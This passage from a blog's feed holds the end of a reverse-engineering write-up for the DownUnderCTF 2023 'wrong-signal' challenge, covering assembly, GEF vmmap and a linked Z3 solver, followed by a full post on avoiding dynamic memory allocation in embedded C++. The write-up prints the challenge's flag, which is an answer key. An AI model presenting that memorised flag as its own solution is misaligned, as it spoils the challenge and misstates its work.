&lt;span class=&quot;token comment&quot;&gt;; 0x401305. Dereference `RAX` to `AL`.&lt;/span&gt;
&lt;span class=&quot;token instruction keyword&quot;&gt;MOV&lt;/span&gt;        &lt;span class=&quot;token instruction keyword&quot;&gt;AL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;byte ptr &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;RAX&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;DAT_13386000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Don&#39;t underestimate these few lines. Even though the dereferenced value is unused, a read is performed nonetheless!&lt;/p&gt;
&lt;p&gt;So why are some reads causing segfaults? To answer this, we can use the &lt;code&gt;vmmap&lt;/code&gt; command that comes with GDB &lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GEF&lt;/a&gt;. This shows various segments of a binary, their address ranges, and whether they&#39;re readable/writable.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;vmmap shows us a comprehensive list of regions in the ELF.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 331&quot; alt=&quot;Image of vmmap command and output in GEF.&quot; title=&quot;vmmap shows us a comprehensive list of regions in the ELF.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Yikes! That&#39;s a lot of segments. Notice how some of them disallow all permissions? Our pointer was trying to read those regions. All that&#39;s left is to filter out the regions in our code.&lt;/p&gt;
&lt;h2 id=&quot;concluding-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#concluding-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Concluding Remarks&lt;/h2&gt;
&lt;p&gt;Peeking at the &lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/rev/wrong-signal/solve/solver.py&quot;&gt;official solve script&lt;/a&gt;... it turns out the challenge was a... &lt;em&gt;maze&lt;/em&gt;?!? Wut? Didn&#39;t expect that. But overall it was a fun little challenge with some nice surprises, and a good reminder to not overlook (or completely ignore) the small details such as that hidden byte read.&lt;/p&gt;
&lt;h2 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h2&gt;
&lt;p&gt;I didn&#39;t do a step-by-step walkthrough of my solve script this time, but I&#39;ve littered it with comments, so hopefully it&#39;s understandable—even for those new to the Z3 library.&lt;/p&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/eff46dfd7f0cd5cc9ee4b2c2c3b174f6.js&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;DUCTF{hElCYi8OxUF7PAA5}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;And for the nerds: 4-bits is a nybble/nibble. &lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Verifiable through GDB, with &lt;code&gt;b *main+245&lt;/code&gt; and &lt;code&gt;p $rax&lt;/code&gt;. &lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There are other similar tools, but I&#39;m accustomed to GEF&#39;s vmmap. &lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Why Dynamic Memory Allocation Bad (for Embedded)</title>
        <description>If you need flexibility and can afford it, use dynamic memory. If you can’t afford it, use static.</description>
        <link href="https://trebledj.me/posts/dynamic-memory-embedded-bad/"/>
        <updated>2023-06-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/dynamic-memory-embedded-bad/</id>
        <content xml:lang="en" type="html">&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&#39;Memory management is not my concern.&#39; - Clueless Embedded Engineers.&quot; href=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 560&quot; alt=&quot;&#39;Memory management is not my concern.&#39; - Clueless Embedded Engineers.&quot; title=&quot;&#39;Memory management is not my concern.&#39; - Clueless Embedded Engineers.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-256w.webp 256w, https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Getting better hardware is not always the solution. Sometimes; but not always. Don&#39;t be clueless.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;I keep explaining why dynamically allocating on embedded systems is a disagreeable idea, so thought I’d throw it on a post. This is a confusing topic for many junior developers who were taught to use &lt;code&gt;new&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt; in early C++ courses. In desktop/web application programming, dynamic allocation is everywhere.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Not so in embedded.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;To clarify, dynamic memory allocation (in embedded) isn&#39;t &lt;em&gt;always&lt;/em&gt; bad, just as &lt;a href=&quot;https://stackoverflow.com/a/3517765/10239789&quot;&gt;&lt;code&gt;goto&lt;/code&gt; isn&#39;t &lt;em&gt;always&lt;/em&gt; bad&lt;/a&gt;. Both dynamic allocation and &lt;code&gt;goto&lt;/code&gt; have appropriate uses, but are often misused. As engineers, it&#39;s our duty to understand which situations call for these features and to make sound choices.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Ooooh, dynamic memory—fancy!&quot; href=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-687w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-687w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 687 / 500&quot; alt=&quot;Ooooh, dynamic memory—fancy!&quot; title=&quot;Ooooh, dynamic memory—fancy!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-256w.webp 256w, https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-512w.webp 512w, https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-687w.webp 687w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 687px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Clueless software engineers thinking &amp;quot;the more advanced the concept, the better&amp;quot;. Don&#39;t be clueless.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Not only is allocation an issue. Virtual classes, exceptions, runtime type information (RTTI)—these are all no-nos for some embedded companies. They&#39;re all avoided for the same reasons: performance degradation and code bloat. In essence, not enough time and not enough space. With dynamic memory, there&#39;s another reason.&lt;/p&gt;
&lt;h2 id=&quot;so-why-is-dynamic-memory-bad&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#so-why-is-dynamic-memory-bad&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; So why is dynamic memory bad?&lt;/h2&gt;
&lt;p&gt;Because of &lt;strong&gt;Memory Fragmentation&lt;/strong&gt;. This occurs when we keep allocating and deallocating memory in various sizes. This may lead to wasted memory, leading to slower allocations (due to the need to reallocate and compact memory) or our worst nightmare: an out-of-memory exception. 🤯&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Memory is fragmented, like buildings with alleys in between, where rats and other vermin fester.&quot; href=&quot;https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-976w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-976w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 976 / 376&quot; alt=&quot;Memory is fragmented, like buildings with alleys in between, where rats and other vermin fester.&quot; title=&quot;Memory is fragmented, like buildings with alleys in between, where rats and other vermin fester.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-256w.webp 256w, https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-512w.webp 512w, https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-976w.webp 976w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 976px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Memory becomes fragmented after multiple allocs and deallocs, leading to wasted memory space. (&lt;a href=&quot;https://er.yuvayana.org/memory-fragmentation-in-operating-system/&quot;&gt;source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Since embedded systems tend to require sustained uptime, constantly using dynamic memory may lead to highly fragmented memory.&lt;/p&gt;
&lt;p&gt;This is a serious issue. Persistence, backup, and resets should be considered when developing embedded applications, but buggy resets—say, due to &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;out-of-memory&quot;&gt;OOM&lt;/abbr&gt; crashes—should be avoided. Maybe not an issue if you&#39;re working with &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20180228-00/?p=98125&quot;&gt;missiles&lt;/a&gt; though.&lt;/p&gt;
&lt;h2 id=&quot;what-alternatives-are-there&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#what-alternatives-are-there&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What alternatives are there?&lt;/h2&gt;
&lt;p&gt;In C, dynamic allocation is largely optional; you, the programmer, have more control over memory usage.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In C++, it&#39;s more of a hassle. Dynamic memory allocation is core to many standard library containers: strings, vectors, maps. The Arduino &lt;code&gt;String&lt;/code&gt; also uses dynamic memory. No doubt, these libraries are immensely useful for organising and manipulating data, but they come with dynamic allocation.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The alternative is to use &lt;strong&gt;static allocation&lt;/strong&gt;. Instead of allowing containers to grow unbounded, we limit their size with a &lt;em&gt;maximum bound&lt;/em&gt;. Sometimes, it&#39;s as simple as changing array declarations.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// --- Dynamic ---&lt;/span&gt;

size_t size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; array1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// `size` is dynamic. e.g. can change with input.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Note that we can also resize the array and reassign the pointer.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Use the array...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    array1&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; array1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;


&lt;span class=&quot;token comment&quot;&gt;// --- Static ---&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Define a maximum capacity...&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;MAX_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;                &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// ...with a macro,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// constexpr size_t MAX_SIZE = 100; // ...or use C++&#39;s type-safe constexpr.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; array2&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MAX_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Use the array... (be careful to use `size` instead of `MAX_SIZE`).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    array2&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;With complex data structures, more work is needed to eliminate dynamic allocation. This is what ETL containers achieve, as opposed to STL containers.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/ETLCPP/etl&quot;&gt;ETL&lt;/a&gt; (Embedded Template Library) is an alternative to the C++ standard library, and contains many standard features plus libraries useful for embedded systems programming (e.g. circular buffers).&lt;/p&gt;
&lt;p&gt;Here&#39;s a quick preview with vectors:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// STL&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Allocate a dynamic vector (on the heap). Capacity grows on-demand.&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; vec1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ETL&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Allocate a static vector (on the stack) with fixed capacity.&lt;/span&gt;
etl&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; vec2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;One benefit of static allocation is &lt;em&gt;speed&lt;/em&gt;. With dynamic, allocators need to figure out size constraints and reallocate. If the allocator is good, it may perform better by using smart strategies (e.g. reusing a previously freed bin); but this still introduces overhead. With &lt;em&gt;static&lt;/em&gt;, memory is either pre-allocated (in the case of global variables) or quickly allocated with a single instruction (subtracting the stack pointer).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; Hence, better performance at the expense of flexibility.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;What about polymorphism? Like dynamic memory allocation, &lt;em&gt;dynamic polymorphism&lt;/em&gt; also introduces performance overhead via additional indirection (dynamic dispatch, vtable lookup).&lt;/p&gt;
&lt;p&gt;The good news is: &lt;em&gt;static polymorphism&lt;/em&gt; exists! In C++, we can achieve this via &lt;a href=&quot;https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern#Static_polymorphism&quot;&gt;CRTP&lt;/a&gt;; but we lose the ability to declare polymorphic containers, such as&lt;code&gt;vector&amp;lt;Animal*&amp;gt;&lt;/code&gt;, &lt;code&gt;vector&amp;lt;Shape*&amp;gt;&lt;/code&gt;. We could also use sum types (e.g. &lt;a href=&quot;https://en.cppreference.com/w/cpp/utility/variant&quot;&gt;&lt;code&gt;std::variant&lt;/code&gt;&lt;/a&gt;); but this would increase memory footprint. Sometimes virtual classes are a necessary &lt;s&gt;evil&lt;/s&gt; abstraction.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Thus, it’s crucial to consider the design requirements of the software being developed. How long do the strings need to be? Can they be limited by a maximum length? How many items will our vector hold at most? Is it more maintainable to use virtual classes here?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;is-dynamic-memory-always-bad&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#is-dynamic-memory-always-bad&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Is dynamic memory always bad?&lt;/h2&gt;
&lt;p&gt;Dynamic memory isn&#39;t bad in all cases, if used properly. Some appropriate situations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You only allocate during init. For example, we allocate memory based on a setting from an SSD card.&lt;/li&gt;
&lt;li&gt;It&#39;s difficult to decide on a maximum bound at compile time. It&#39;s easy to cap small strings at 32, 64, or 256 chars. But what about HTTP requests? JSON payloads? These vary a lot between applications, so libraries typically default to dynamic allocation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are &lt;a href=&quot;https://en.wikipedia.org/wiki/Memory_management&quot;&gt;various ways to implement dynamic memory allocation&lt;/a&gt;. The &amp;quot;best&amp;quot; method depends on your specific scenario. &lt;a href=&quot;https://en.wikipedia.org/wiki/Memory_pool&quot;&gt;Memory pools&lt;/a&gt; are one implementation admired for their simplicity and lightweight nature. FreeRTOS documents other &lt;a href=&quot;https://www.freertos.org/a00111.html&quot;&gt;heap implementations&lt;/a&gt; which aim to be thread-safe. &lt;a href=&quot;https://www.freertos.org/a00111.html#heap_4&quot;&gt;Heap 4&lt;/a&gt; is of particular interest, as it mitigates fragmentation.&lt;/p&gt;
&lt;h2 id=&quot;summary&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#summary&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Summary&lt;/h2&gt;
&lt;p&gt;In a recent discussion between Uncle Bob and Casey Muratori on clean code and performance, Bob summarises:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Switch statements have their place. Dynamic polymorphism has its place. &lt;strong&gt;Dynamic things are more flexible than static things, so when you want that flexibility, and you can afford it, go dynamic. If you can&#39;t afford it, stay static.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://github.com/unclebob/cmuratori-discussion/blob/main/programmer-cycles-vs-machine-cycles.md&quot;&gt;source&lt;/a&gt;; emphasis added)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This applies to embedded system memory as well. It’s difficult to afford dynamic things with few resources. With more powerful MCUs, it’s easier to justify dynamic things, be it heap, polymorphism, and whatnot. In the end, we should take into account the available resources, design requirements, and use cases. Let me summarise again.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you &lt;strong&gt;need&lt;/strong&gt; flexibility and can afford it, use dynamic memory. If you can’t afford it (as is often the case), use static.&lt;/em&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
